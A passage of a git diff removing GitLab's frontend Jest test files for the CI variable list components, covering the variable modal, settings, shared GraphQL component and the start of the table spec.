@@ -1,520 +0,0 @@
-import { GlButton, GlFormInput } from '@gitlab/ui';
-import { mockTracking } from 'helpers/tracking_helper';
-import { shallowMountExtended, mountExtended } from 'helpers/vue_test_utils_helper';
-import CiEnvironmentsDropdown from '~/ci_variable_list/components/ci_environments_dropdown.vue';
-import CiVariableModal from '~/ci_variable_list/components/ci_variable_modal.vue';
-import {
- ADD_VARIABLE_ACTION,
- AWS_ACCESS_KEY_ID,
- EDIT_VARIABLE_ACTION,
- EVENT_LABEL,
- EVENT_ACTION,
- ENVIRONMENT_SCOPE_LINK_TITLE,
- instanceString,
- variableOptions,
-} from '~/ci_variable_list/constants';
-import { mockVariablesWithScopes } from '../mocks';
-import ModalStub from '../stubs';
-
-describe('Ci variable modal', () => {
- let wrapper;
- let trackingSpy;
-
- const maskableRegex = '^[a-zA-Z0-9_+=/@:.~-]{8,}$';
- const mockVariables = mockVariablesWithScopes(instanceString);
-
- const defaultProvide = {
- awsLogoSvgPath: '/logo',
- awsTipCommandsLink: '/tips',
- awsTipDeployLink: '/deploy',
- awsTipLearnLink: '/learn-link',
- containsVariableReferenceLink: '/reference',
- environmentScopeLink: '/help/environments',
- isProtectedByDefault: false,
- maskedEnvironmentVariablesLink: '/variables-link',
- maskableRegex,
- protectedEnvironmentVariablesLink: '/protected-link',
- };
-
- const defaultProps = {
- areScopedVariablesAvailable: true,
- environments: [],
- hideEnvironmentScope: false,
- mode: ADD_VARIABLE_ACTION,
- selectedVariable: {},
- variable: [],
- };
-
- const createComponent = ({ mountFn = shallowMountExtended, props = {}, provide = {} } = {}) => {
- wrapper = mountFn(CiVariableModal, {
- attachTo: document.body,
- provide: { ...defaultProvide, ...provide },
- propsData: {
- ...defaultProps,
- ...props,
- },
- stubs: {
- GlModal: ModalStub,
- },
- });
- };
-
- const findCiEnvironmentsDropdown = () => wrapper.findComponent(CiEnvironmentsDropdown);
- const findReferenceWarning = () => wrapper.findByTestId('contains-variable-reference');
- const findModal = () => wrapper.findComponent(ModalStub);
- const findAWSTip = () => wrapper.findByTestId('aws-guidance-tip');
- const findAddorUpdateButton = () => wrapper.findByTestId('ciUpdateOrAddVariableBtn');
- const deleteVariableButton = () =>
- findModal()
- .findAllComponents(GlButton)
- .wrappers.find((button) => button.props('variant') === 'danger');
- const findExpandedVariableCheckbox = () => wrapper.findByTestId('ci-variable-expanded-checkbox');
- const findProtectedVariableCheckbox = () =>
- wrapper.findByTestId('ci-variable-protected-checkbox');
- const findMaskedVariableCheckbox = () => wrapper.findByTestId('ci-variable-masked-checkbox');
- const findValueField = () => wrapper.find('#ci-variable-value');
- const findEnvScopeLink = () => wrapper.findByTestId('environment-scope-link');
- const findEnvScopeInput = () =>
- wrapper.findByTestId('environment-scope').findComponent(GlFormInput);
- const findRawVarTip = () => wrapper.findByTestId('raw-variable-tip');
- const findVariableTypeDropdown = () => wrapper.find('#ci-variable-type');
- const findEnvironmentScopeText = () => wrapper.findByText('Environment scope');
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('Adding a variable', () => {
- describe('when no key/value pair are present', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('shows the submit button as disabled', () => {
- expect(findAddorUpdateButton().attributes('disabled')).toBe('true');
- });
- });
-
- describe('when a key/value pair is present', () => {
- beforeEach(() => {
- createComponent({ props: { selectedVariable: mockVariables[0] } });
- });
-
- it('shows the submit button as enabled', () => {
- expect(findAddorUpdateButton().attributes('disabled')).toBeUndefined();
- });
- });
-
- describe('events', () => {
- const [currentVariable] = mockVariables;
-
- beforeEach(() => {
- createComponent({ props: { selectedVariable: currentVariable } });
- jest.spyOn(wrapper.vm, '$emit');
- });
-
- it('Dispatches `add-variable` action on submit', () => {
- findAddorUpdateButton().vm.$emit('click');
- expect(wrapper.emitted('add-variable')).toEqual([[currentVariable]]);
- });
-
- it('Dispatches the `hideModal` event when dismissing', () => {
- findModal().vm.$emit('hidden');
- expect(wrapper.emitted('hideModal')).toEqual([[]]);
- });
- });
- });
-
- describe('when protected by default', () => {
- describe('when adding a new variable', () => {
- beforeEach(() => {
- createComponent({ provide: { isProtectedByDefault: true } });
- findModal().vm.$emit('shown');
- });
-
- it('updates the protected value to true', () => {
- expect(findProtectedVariableCheckbox().attributes('data-is-protected-checked')).toBe(
- 'true',
- );
- });
- });
-
- describe('when editing a variable', () => {
- beforeEach(() => {
- createComponent({
- provide: { isProtectedByDefault: false },
- props: {
- selectedVariable: {},
- mode: EDIT_VARIABLE_ACTION,
- },
- });
- findModal().vm.$emit('shown');
- });
-
- it('keeps the value as false', async () => {
- expect(
- findProtectedVariableCheckbox().attributes('data-is-protected-checked'),
- ).toBeUndefined();
- });
- });
- });
-
- describe('Adding a new non-AWS variable', () => {
- beforeEach(() => {
- const [variable] = mockVariables;
- createComponent({ mountFn: mountExtended, props: { selectedVariable: variable } });
- });
-
- it('does not show AWS guidance tip', () => {
- const tip = findAWSTip();
- expect(tip.exists()).toBe(true);
- expect(tip.isVisible()).toBe(false);
- });
- });
-
- describe('Adding a new AWS variable', () => {
- beforeEach(() => {
- const [variable] = mockVariables;
- const AWSKeyVariable = {
- ...variable,
- key: AWS_ACCESS_KEY_ID,
- value: 'AKIAIOSFODNN7EXAMPLEjdhy',
- };
- createComponent({ mountFn: mountExtended, props: { selectedVariable: AWSKeyVariable } });
- });
-
- it('shows AWS guidance tip', () => {
- const tip = findAWSTip();
- expect(tip.exists()).toBe(true);
- expect(tip.isVisible()).toBe(true);
- });
- });
-
- describe('when expanded', () => {
- describe('with a $ character', () => {
- beforeEach(() => {
- const [variable] = mockVariables;
- const variableWithDollarSign = {
- ...variable,
- value: 'valueWith$',
- };
- createComponent({
- mountFn: mountExtended,
- props: { selectedVariable: variableWithDollarSign },
- });
- });
-
- it(`renders the variable reference warning`, () => {
- expect(findReferenceWarning().exists()).toBe(true);
- });
-
- it(`does not render raw variable tip`, () => {
- expect(findRawVarTip().exists()).toBe(false);
- });
- });
-
- describe('without a $ character', () => {
- beforeEach(() => {
- const [variable] = mockVariables;
- createComponent({
- mountFn: mountExtended,
- props: { selectedVariable: variable },
- });
- });
-
- it(`does not render the variable reference warning`, () => {
- expect(findReferenceWarning().exists()).toBe(false);
- });
-
- it(`does not render raw variable tip`, () => {
- expect(findRawVarTip().exists()).toBe(false);
- });
- });
-
- describe('setting raw value', () => {
- const [variable] = mockVariables;
-
- it('defaults to expanded and raw:false when adding a variable', () => {
- createComponent({ props: { selectedVariable: variable } });
- jest.spyOn(wrapper.vm, '$emit');
-
- findModal().vm.$emit('shown');
-
- expect(findExpandedVariableCheckbox().attributes('checked')).toBe('true');
-
- findAddorUpdateButton().vm.$emit('click');
-
- expect(wrapper.emitted('add-variable')).toEqual([
- [
- {
- ...variable,
- raw: false,
- },
- ],
- ]);
- });
-
- it('sets correct raw value when editing', async () => {
- createComponent({
- props: {
- selectedVariable: variable,
- mode: EDIT_VARIABLE_ACTION,
- },
- });
- jest.spyOn(wrapper.vm, '$emit');
-
- findModal().vm.$emit('shown');
- await findExpandedVariableCheckbox().vm.$emit('change');
- await findAddorUpdateButton().vm.$emit('click');
-
- expect(wrapper.emitted('update-variable')).toEqual([
- [
- {
- ...variable,
- raw: true,
- },
- ],
- ]);
- });
- });
- });
-
- describe('when not expanded', () => {
- describe('with a $ character', () => {
- beforeEach(() => {
- const selectedVariable = mockVariables[1];
- createComponent({
- mountFn: mountExtended,
- props: { selectedVariable },
- });
- });
-
- it(`renders raw variable tip`, () => {
- expect(findRawVarTip().exists()).toBe(true);
- });
- });
- });
-
- describe('Editing a variable', () => {
- const [variable] = mockVariables;
-
- beforeEach(() => {
- createComponent({ props: { selectedVariable: variable, mode: EDIT_VARIABLE_ACTION } });
- jest.spyOn(wrapper.vm, '$emit');
- });
-
- it('button text is Update variable when updating', () => {
- expect(findAddorUpdateButton().text()).toBe('Update variable');
- });
-
- it('Update variable button dispatches updateVariable with correct variable', () => {
- findAddorUpdateButton().vm.$emit('click');
- expect(wrapper.emitted('update-variable')).toEqual([[variable]]);
- });
-
- it('Propagates the `hideModal` event', () => {
- findModal().vm.$emit('hidden');
- expect(wrapper.emitted('hideModal')).toEqual([[]]);
- });
-
- it('dispatches `delete-variable` with correct variable to delete', () => {
- deleteVariableButton().vm.$emit('click');
- expect(wrapper.emitted('delete-variable')).toEqual([[variable]]);
- });
- });
-
- describe('Environment scope', () => {
- describe('when feature is available', () => {
- describe('and section is not hidden', () => {
- beforeEach(() => {
- createComponent({
- mountFn: mountExtended,
- props: {
- areScopedVariablesAvailable: true,
- hideEnvironmentScope: false,
- },
- });
- });
-
- it('renders the environment dropdown and section title', () => {
- expect(findCiEnvironmentsDropdown().exists()).toBe(true);
- expect(findCiEnvironmentsDropdown().isVisible()).toBe(true);
- expect(findEnvironmentScopeText().exists()).toBe(true);
- });
-
- it('renders a link to documentation on scopes', () => {
- const link = findEnvScopeLink();
-
- expect(link.attributes('title')).toBe(ENVIRONMENT_SCOPE_LINK_TITLE);
- expect(link.attributes('href')).toBe(defaultProvide.environmentScopeLink);
- });
- });
-
- describe('and section is hidden', () => {
- beforeEach(() => {
- createComponent({
- mountFn: mountExtended,
- props: {
- areScopedVariablesAvailable: true,
- hideEnvironmentScope: true,
- },
- });
- });
-
- it('does not renders the environment dropdown and section title', () => {
- expect(findCiEnvironmentsDropdown().exists()).toBe(false);
- expect(findEnvironmentScopeText().exists()).toBe(false);
- });
- });
- });
-
- describe('when feature is not available', () => {
- describe('and section is not hidden', () => {
- beforeEach(() => {
- createComponent({
- mountFn: mountExtended,
- props: {
- areScopedVariablesAvailable: false,
- hideEnvironmentScope: false,
- },
- });
- });
-
- it('disables the dropdown', () => {
- expect(findCiEnvironmentsDropdown().exists()).toBe(false);
- expect(findEnvironmentScopeText().exists()).toBe(true);
- expect(findEnvScopeInput().attributes('readonly')).toBe('readonly');
- });
- });
-
- describe('and section is hidden', () => {
- beforeEach(() => {
- createComponent({
- mountFn: mountExtended,
- props: {
- areScopedVariablesAvailable: false,
- hideEnvironmentScope: true,
- },
- });
- });
-
- it('hides the dropdown', () => {
- expect(findEnvironmentScopeText().exists()).toBe(false);
- expect(findCiEnvironmentsDropdown().exists()).toBe(false);
- });
- });
- });
- });
-
- describe('variable type dropdown', () => {
- describe('default behaviour', () => {
- beforeEach(() => {
- createComponent({ mountFn: mountExtended });
- });
-
- it('adds each option as a dropdown item', () => {
- expect(findVariableTypeDropdown().findAll('option')).toHaveLength(variableOptions.length);
- variableOptions.forEach((v) => {
- expect(findVariableTypeDropdown().text()).toContain(v.text);
- });
- });
- });
- });
-
- describe('Validations', () => {
- const maskError = 'This variable can not be masked.';
-
- describe('when the mask state is invalid', () => {
- beforeEach(async () => {
- const [variable] = mockVariables;
- const invalidMaskVariable = {
- ...variable,
- value: 'd:;',
- masked: false,
- };
- createComponent({
- mountFn: mountExtended,
- props: { selectedVariable: invalidMaskVariable },
- });
- trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
- await findMaskedVariableCheckbox().trigger('click');
- });
-
- it('disables the submit button', () => {
- expect(findAddorUpdateButton().attributes('disabled')).toBe('disabled');
- });
-
- it('shows the correct error text', () => {
- expect(findModal().text()).toContain(maskError);
- });
-
- it('sends the correct tracking event', () => {
- expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTION, {
- label: EVENT_LABEL,
- property: ';',
- });
- });
- });
-
- describe.each`
- value | masked | eventSent | trackingErrorProperty
- ${'secretValue'} | ${false} | ${0} | ${null}
- ${'short'} | ${true} | ${0} | ${null}
- ${'dollar$ign'} | ${false} | ${1} | ${'$'}
- ${'dollar$ign'} | ${true} | ${1} | ${'$'}
- ${'unsupported|char'} | ${true} | ${1} | ${'|'}
- ${'unsupported|char'} | ${false} | ${0} | ${null}
- `('Adding a new variable', ({ value, masked, eventSent, trackingErrorProperty }) => {
- beforeEach(async () => {
- const [variable] = mockVariables;
- const invalidKeyVariable = {
- ...variable,
- value: '',
- masked: false,
- };
- createComponent({
- mountFn: mountExtended,
- props: { selectedVariable: invalidKeyVariable },
- });
- trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
- await findValueField().vm.$emit('input', value);
- if (masked) {
- await findMaskedVariableCheckbox().trigger('click');
- }
- });
-
- it(`${
- eventSent > 0 ? 'sends the correct' : 'does not send the'
- } variable validation tracking event with ${value}`, () => {
- expect(trackingSpy).toHaveBeenCalledTimes(eventSent);
-
- if (eventSent > 0) {
- expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTION, {
- label: EVENT_LABEL,
- property: trackingErrorProperty,
- });
- }
- });
- });
-
- describe('when masked variable has acceptable value', () => {
- beforeEach(() => {
- const [variable] = mockVariables;
- const validMaskandKeyVariable = {
- ...variable,
- key: AWS_ACCESS_KEY_ID,
- value: '12345678',
- masked: true,
- };
- createComponent({
- mountFn: mountExtended,
- props: { selectedVariable: validMaskandKeyVariable },
- });
- });
-
- it('does not disable the submit button', () => {
- expect(findAddorUpdateButton().attributes('disabled')).toBeUndefined();
- });
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/components/ci_variable_settings_spec.js b/spec/frontend/ci_variable_list/components/ci_variable_settings_spec.js
deleted file mode 100644
index 5e459ee390f..00000000000
--- a/spec/frontend/ci_variable_list/components/ci_variable_settings_spec.js
+++ /dev/null
@@ -1,147 +0,0 @@
-import { nextTick } from 'vue';
-import { shallowMount } from '@vue/test-utils';
-import CiVariableSettings from '~/ci_variable_list/components/ci_variable_settings.vue';
-import ciVariableModal from '~/ci_variable_list/components/ci_variable_modal.vue';
-import ciVariableTable from '~/ci_variable_list/components/ci_variable_table.vue';
-import {
- ADD_VARIABLE_ACTION,
- EDIT_VARIABLE_ACTION,
- projectString,
-} from '~/ci_variable_list/constants';
-import { mapEnvironmentNames } from '~/ci_variable_list/utils';
-
-import { mockEnvs, mockVariablesWithScopes, newVariable } from '../mocks';
-
-describe('Ci variable table', () => {
- let wrapper;
-
- const defaultProps = {
- areScopedVariablesAvailable: true,
- entity: 'project',
- environments: mapEnvironmentNames(mockEnvs),
- hideEnvironmentScope: false,
- isLoading: false,
- maxVariableLimit: 5,
- variables: mockVariablesWithScopes(projectString),
- };
-
- const findCiVariableTable = () => wrapper.findComponent(ciVariableTable);
- const findCiVariableModal = () => wrapper.findComponent(ciVariableModal);
-
- const createComponent = ({ props = {} } = {}) => {
- wrapper = shallowMount(CiVariableSettings, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('props passing', () => {
- it('passes props down correctly to the ci table', () => {
- createComponent();
-
- expect(findCiVariableTable().props()).toEqual({
- entity: 'project',
- isLoading: defaultProps.isLoading,
- maxVariableLimit: defaultProps.maxVariableLimit,
- variables: defaultProps.variables,
- });
- });
-
- it('passes props down correctly to the ci modal', async () => {
- createComponent();
-
- findCiVariableTable().vm.$emit('set-selected-variable');
- await nextTick();
-
- expect(findCiVariableModal().props()).toEqual({
- areScopedVariablesAvailable: defaultProps.areScopedVariablesAvailable,
- environments: defaultProps.environments,
- hideEnvironmentScope: defaultProps.hideEnvironmentScope,
- variables: defaultProps.variables,
- mode: ADD_VARIABLE_ACTION,
- selectedVariable: {},
- });
- });
- });
-
- describe('modal mode', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('passes down ADD mode when receiving an empty variable', async () => {
- findCiVariableTable().vm.$emit('set-selected-variable');
- await nextTick();
-
- expect(findCiVariableModal().props('mode')).toBe(ADD_VARIABLE_ACTION);
- });
-
- it('passes down EDIT mode when receiving a variable', async () => {
- findCiVariableTable().vm.$emit('set-selected-variable', newVariable);
- await nextTick();
-
- expect(findCiVariableModal().props('mode')).toBe(EDIT_VARIABLE_ACTION);
- });
- });
-
- describe('variable modal', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('is hidden by default', () => {
- expect(findCiVariableModal().exists()).toBe(false);
- });
-
- it('shows modal when adding a new variable', async () => {
- findCiVariableTable().vm.$emit('set-selected-variable');
- await nextTick();
-
- expect(findCiVariableModal().exists()).toBe(true);
- });
-
- it('shows modal when updating a variable', async () => {
- findCiVariableTable().vm.$emit('set-selected-variable', newVariable);
- await nextTick();
-
- expect(findCiVariableModal().exists()).toBe(true);
- });
-
- it('hides modal when receiving the event from the modal', async () => {
- findCiVariableTable().vm.$emit('set-selected-variable');
- await nextTick();
-
- findCiVariableModal().vm.$emit('hideModal');
- await nextTick();
-
- expect(findCiVariableModal().exists()).toBe(false);
- });
- });
-
- describe('variable events', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it.each`
- eventName
- ${'add-variable'}
- ${'update-variable'}
- ${'delete-variable'}
- `('bubbles up the $eventName event', async ({ eventName }) => {
- findCiVariableTable().vm.$emit('set-selected-variable');
- await nextTick();
-
- findCiVariableModal().vm.$emit(eventName, newVariable);
- await nextTick();
-
- expect(wrapper.emitted(eventName)).toEqual([[newVariable]]);
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/components/ci_variable_shared_spec.js b/spec/frontend/ci_variable_list/components/ci_variable_shared_spec.js
deleted file mode 100644
index 65a58a1647f..00000000000
--- a/spec/frontend/ci_variable_list/components/ci_variable_shared_spec.js
+++ /dev/null
@@ -1,450 +0,0 @@
-import Vue, { nextTick } from 'vue';
-import VueApollo from 'vue-apollo';
-import { GlLoadingIcon, GlTable } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import waitForPromises from 'helpers/wait_for_promises';
-import { createAlert } from '~/flash';
-import { resolvers } from '~/ci_variable_list/graphql/settings';
-import { convertToGraphQLId } from '~/graphql_shared/utils';
-
-import ciVariableShared from '~/ci_variable_list/components/ci_variable_shared.vue';
-import ciVariableSettings from '~/ci_variable_list/components/ci_variable_settings.vue';
-import ciVariableTable from '~/ci_variable_list/components/ci_variable_table.vue';
-import getProjectEnvironments from '~/ci_variable_list/graphql/queries/project_environments.query.graphql';
-import getAdminVariables from '~/ci_variable_list/graphql/queries/variables.query.graphql';
-import getGroupVariables from '~/ci_variable_list/graphql/queries/group_variables.query.graphql';
-import getProjectVariables from '~/ci_variable_list/graphql/queries/project_variables.query.graphql';
-
-import {
- ADD_MUTATION_ACTION,
- DELETE_MUTATION_ACTION,
- UPDATE_MUTATION_ACTION,
- environmentFetchErrorText,
- genericMutationErrorText,
- variableFetchErrorText,
-} from '~/ci_variable_list/constants';
-
-import {
- createGroupProps,
- createInstanceProps,
- createProjectProps,
- createGroupProvide,
- createProjectProvide,
- devName,
- mockProjectEnvironments,
- mockProjectVariables,
- newVariable,
- prodName,
- mockGroupVariables,
- mockAdminVariables,
-} from '../mocks';
-
-jest.mock('~/flash');
-
-Vue.use(VueApollo);
-
-const mockProvide = {
- endpoint: '/variables',
- isGroup: false,
- isProject: false,
-};
-
-const defaultProps = {
- areScopedVariablesAvailable: true,
- hideEnvironmentScope: false,
- refetchAfterMutation: false,
-};
-
-describe('Ci Variable Shared Component', () => {
- let wrapper;
-
- let mockApollo;
- let mockEnvironments;
- let mockVariables;
-
- const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
- const findCiTable = () => wrapper.findComponent(GlTable);
- const findCiSettings = () => wrapper.findComponent(ciVariableSettings);
-
- // eslint-disable-next-line consistent-return
- async function createComponentWithApollo({
- customHandlers = null,
- isLoading = false,
- props = { ...createProjectProps() },
- provide = {},
- } = {}) {
- const handlers = customHandlers || [
- [getProjectEnvironments, mockEnvironments],
- [getProjectVariables, mockVariables],
- ];
-
- mockApollo = createMockApollo(handlers, resolvers);
-
- wrapper = shallowMount(ciVariableShared, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- provide: {
- ...mockProvide,
- ...provide,
- },
- apolloProvider: mockApollo,
- stubs: { ciVariableSettings, ciVariableTable },
- });
-
- if (!isLoading) {
- return waitForPromises();
- }
- }
-
- beforeEach(() => {
- mockEnvironments = jest.fn();
- mockVariables = jest.fn();
- });
-
- describe('while queries are being fetch', () => {
- beforeEach(() => {
- createComponentWithApollo({ isLoading: true });
- });
-
- it('shows a loading icon', () => {
- expect(findLoadingIcon().exists()).toBe(true);
- expect(findCiTable().exists()).toBe(false);
- });
- });
-
- describe('when queries are resolved', () => {
- describe('successfully', () => {
- beforeEach(async () => {
- mockEnvironments.mockResolvedValue(mockProjectEnvironments);
- mockVariables.mockResolvedValue(mockProjectVariables);
-
- await createComponentWithApollo({ provide: createProjectProvide() });
- });
-
- it('passes down the expected max variable limit as props', () => {
- expect(findCiSettings().props('maxVariableLimit')).toBe(
- mockProjectVariables.data.project.ciVariables.limit,
- );
- });
-
- it('passes down the expected environments as props', () => {
- expect(findCiSettings().props('environments')).toEqual([prodName, devName]);
- });
-
- it('passes down the expected variables as props', () => {
- expect(findCiSettings().props('variables')).toEqual(
- mockProjectVariables.data.project.ciVariables.nodes,
- );
- });
-
- it('createAlert was not called', () => {
- expect(createAlert).not.toHaveBeenCalled();
- });
- });
-
- describe('with an error for variables', () => {
- beforeEach(async () => {
- mockEnvironments.mockResolvedValue(mockProjectEnvironments);
- mockVariables.mockRejectedValue();
-
- await createComponentWithApollo();
- });
-
- it('calls createAlert with the expected error message', () => {
- expect(createAlert).toHaveBeenCalledWith({ message: variableFetchErrorText });
- });
- });
-
- describe('with an error for environments', () => {
- beforeEach(async () => {
- mockEnvironments.mockRejectedValue();
- mockVariables.mockResolvedValue(mockProjectVariables);
-
- await createComponentWithApollo();
- });
-
- it('calls createAlert with the expected error message', () => {
- expect(createAlert).toHaveBeenCalledWith({ message: environmentFetchErrorText });
- });
- });
- });
-
- describe('environment query', () => {
- describe('when there is an environment key in queryData', () => {
- beforeEach(async () => {
- mockEnvironments.mockResolvedValue(mockProjectEnvironments);
- mockVariables.mockResolvedValue(mockProjectVariables);
-
- await createComponentWithApollo({ props: { ...createProjectProps() } });
- });
-
- it('is executed', () => {
- expect(mockVariables).toHaveBeenCalled();
- });
- });
-
- describe('when there isnt an environment key in queryData', () => {
- beforeEach(async () => {
- mockVariables.mockResolvedValue(mockGroupVariables);
-
- await createComponentWithApollo({ props: { ...createGroupProps() } });
- });
-
- it('is skipped', () => {
- expect(mockVariables).not.toHaveBeenCalled();
- });
- });
- });
-
- describe('mutations', () => {
- const groupProps = createGroupProps();
-
- beforeEach(async () => {
- mockVariables.mockResolvedValue(mockGroupVariables);
-
- await createComponentWithApollo({
- customHandlers: [[getGroupVariables, mockVariables]],
- props: groupProps,
- });
- });
- it.each`
- actionName | mutation | event
- ${'add'} | ${groupProps.mutationData[ADD_MUTATION_ACTION]} | ${'add-variable'}
- ${'update'} | ${groupProps.mutationData[UPDATE_MUTATION_ACTION]} | ${'update-variable'}
- ${'delete'} | ${groupProps.mutationData[DELETE_MUTATION_ACTION]} | ${'delete-variable'}
- `(
- 'calls the right mutation from propsData when user performs $actionName variable',
- async ({ event, mutation }) => {
- jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue();
-
- await findCiSettings().vm.$emit(event, newVariable);
-
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
- mutation,
- variables: {
- endpoint: mockProvide.endpoint,
- fullPath: groupProps.fullPath,
- id: convertToGraphQLId('Group', groupProps.id),
- variable: newVariable,
- },
- });
- },
- );
-
- it.each`
- actionName | event
- ${'add'} | ${'add-variable'}
- ${'update'} | ${'update-variable'}
- ${'delete'} | ${'delete-variable'}
- `(
- 'throws with the specific graphql error if present when user performs $actionName variable',
- async ({ event }) => {
- const graphQLErrorMessage = 'There is a problem with this graphQL action';
- jest
- .spyOn(wrapper.vm.$apollo, 'mutate')
- .mockResolvedValue({ data: { ciVariableMutation: { errors: [graphQLErrorMessage] } } });
- await findCiSettings().vm.$emit(event, newVariable);
- await nextTick();
-
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalled();
- expect(createAlert).toHaveBeenCalledWith({ message: graphQLErrorMessage });
- },
- );
-
- it.each`
- actionName | event
- ${'add'} | ${'add-variable'}
- ${'update'} | ${'update-variable'}
- ${'delete'} | ${'delete-variable'}
- `(
- 'throws generic error on failure with no graphql errors and user performs $actionName variable',
- async ({ event }) => {
- jest.spyOn(wrapper.vm.$apollo, 'mutate').mockImplementationOnce(() => {
- throw new Error();
- });
- await findCiSettings().vm.$emit(event, newVariable);
-
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalled();
- expect(createAlert).toHaveBeenCalledWith({ message: genericMutationErrorText });
- },
- );
-
- describe('without fullpath and ID props', () => {
- beforeEach(async () => {
- mockVariables.mockResolvedValue(mockAdminVariables);
-
- await createComponentWithApollo({
- customHandlers: [[getAdminVariables, mockVariables]],
- props: createInstanceProps(),
- });
- });
-
- it('does not pass fullPath and ID to the mutation', async () => {
- jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue();
-
- await findCiSettings().vm.$emit('add-variable', newVariable);
-
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
- mutation: wrapper.props().mutationData[ADD_MUTATION_ACTION],
- variables: {
- endpoint: mockProvide.endpoint,
- variable: newVariable,
- },
- });
- });
- });
- });
-
- describe('Props', () => {
- const mockGroupCiVariables = mockGroupVariables.data.group.ciVariables;
- const mockProjectCiVariables = mockProjectVariables.data.project.ciVariables;
-
- describe('in a specific context as', () => {
- it.each`
- name | mockVariablesValue | mockEnvironmentsValue | withEnvironments | expectedEnvironments | propsFn | provideFn | mutation | maxVariableLimit
- ${'project'} | ${mockProjectVariables} | ${mockProjectEnvironments} | ${true} | ${['prod', 'dev']} | ${createProjectProps} | ${createProjectProvide} | ${null} | ${mockProjectCiVariables.limit}
- ${'group'} | ${mockGroupVariables} | ${[]} | ${false} | ${[]} | ${createGroupProps} | ${createGroupProvide} | ${getGroupVariables} | ${mockGroupCiVariables.limit}
- ${'instance'} | ${mockAdminVariables} | ${[]} | ${false} | ${[]} | ${createInstanceProps} | ${() => {}} | ${getAdminVariables} | ${0}
- `(
- 'passes down all the required props when its a $name component',
- async ({
- mutation,
- maxVariableLimit,
- mockVariablesValue,
- mockEnvironmentsValue,
- withEnvironments,
- expectedEnvironments,
- propsFn,
- provideFn,
- }) => {
- const props = propsFn();
- const provide = provideFn();
-
- mockVariables.mockResolvedValue(mockVariablesValue);
-
- if (withEnvironments) {
- mockEnvironments.mockResolvedValue(mockEnvironmentsValue);
- }
-
- let customHandlers = null;
-
- if (mutation) {
- customHandlers = [[mutation, mockVariables]];
- }
-
- await createComponentWithApollo({ customHandlers, props, provide });
-
- expect(findCiSettings().props()).toEqual({
- areScopedVariablesAvailable: wrapper.props().areScopedVariablesAvailable,
- hideEnvironmentScope: defaultProps.hideEnvironmentScope,
- isLoading: false,
- maxVariableLimit,
- variables: wrapper.props().queryData.ciVariables.lookup(mockVariablesValue.data)?.nodes,
- entity: props.entity,
- environments: expectedEnvironments,
- });
- },
- );
- });
-
- describe('refetchAfterMutation', () => {
- it.each`
- bool | text
- ${true} | ${'refetches the variables'}
- ${false} | ${'does not refetch the variables'}
- `('when $bool it $text', async ({ bool }) => {
- await createComponentWithApollo({
- props: { ...createInstanceProps(), refetchAfterMutation: bool },
- });
-
- jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({ data: {} });
- jest.spyOn(wrapper.vm.$apollo.queries.ciVariables, 'refetch').mockImplementation(jest.fn());
-
- await findCiSettings().vm.$emit('add-variable', newVariable);
-
- await nextTick();
-
- if (bool) {
- expect(wrapper.vm.$apollo.queries.ciVariables.refetch).toHaveBeenCalled();
- } else {
- expect(wrapper.vm.$apollo.queries.ciVariables.refetch).not.toHaveBeenCalled();
- }
- });
- });
-
- describe('Validators', () => {
- describe('queryData', () => {
- let error;
-
- beforeEach(async () => {
- mockVariables.mockResolvedValue(mockGroupVariables);
- });
-
- it('will mount component with right data', async () => {
- try {
- await createComponentWithApollo({
- customHandlers: [[getGroupVariables, mockVariables]],
- props: { ...createGroupProps() },
- });
- } catch (e) {
- error = e;
- } finally {
- expect(wrapper.exists()).toBe(true);
- expect(error).toBeUndefined();
- }
- });
-
- it('will not mount component with wrong data', async () => {
- try {
- await createComponentWithApollo({
- customHandlers: [[getGroupVariables, mockVariables]],
- props: { ...createGroupProps(), queryData: { wrongKey: {} } },
- });
- } catch (e) {
- error = e;
- } finally {
- expect(wrapper.exists()).toBe(false);
- expect(error.toString()).toContain('custom validator check failed for prop');
- }
- });
- });
-
- describe('mutationData', () => {
- let error;
-
- beforeEach(async () => {
- mockVariables.mockResolvedValue(mockGroupVariables);
- });
-
- it('will mount component with right data', async () => {
- try {
- await createComponentWithApollo({
- props: { ...createGroupProps() },
- });
- } catch (e) {
- error = e;
- } finally {
- expect(wrapper.exists()).toBe(true);
- expect(error).toBeUndefined();
- }
- });
-
- it('will not mount component with wrong data', async () => {
- try {
- await createComponentWithApollo({
- props: { ...createGroupProps(), mutationData: { wrongKey: {} } },
- });
- } catch (e) {
- error = e;
- } finally {
- expect(wrapper.exists()).toBe(false);
- expect(error.toString()).toContain('custom validator check failed for prop');
- }
- });
- });
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/components/ci_variable_table_spec.js b/spec/frontend/ci_variable_list/components/ci_variable_table_spec.js
deleted file mode 100644
index 9891bc397b6..00000000000
--- a/spec/frontend/ci_variable_list/components/ci_variable_table_spec.js
+++ /dev/null
@@ -1,172 +0,0 @@
-import { GlAlert } from '@gitlab/ui';
-import { sprintf } from '~/locale';
-import { mountExtended } from 'helpers/vue_test_utils_helper';
-import CiVariableTable from '~/ci_variable_list/components/ci_variable_table.vue';
-import { EXCEEDS_VARIABLE_LIMIT_TEXT, projectString } from '~/ci_variable_list/constants';
-import { mockVariables } from '../mocks';
-
-describe('Ci variable table', () => {
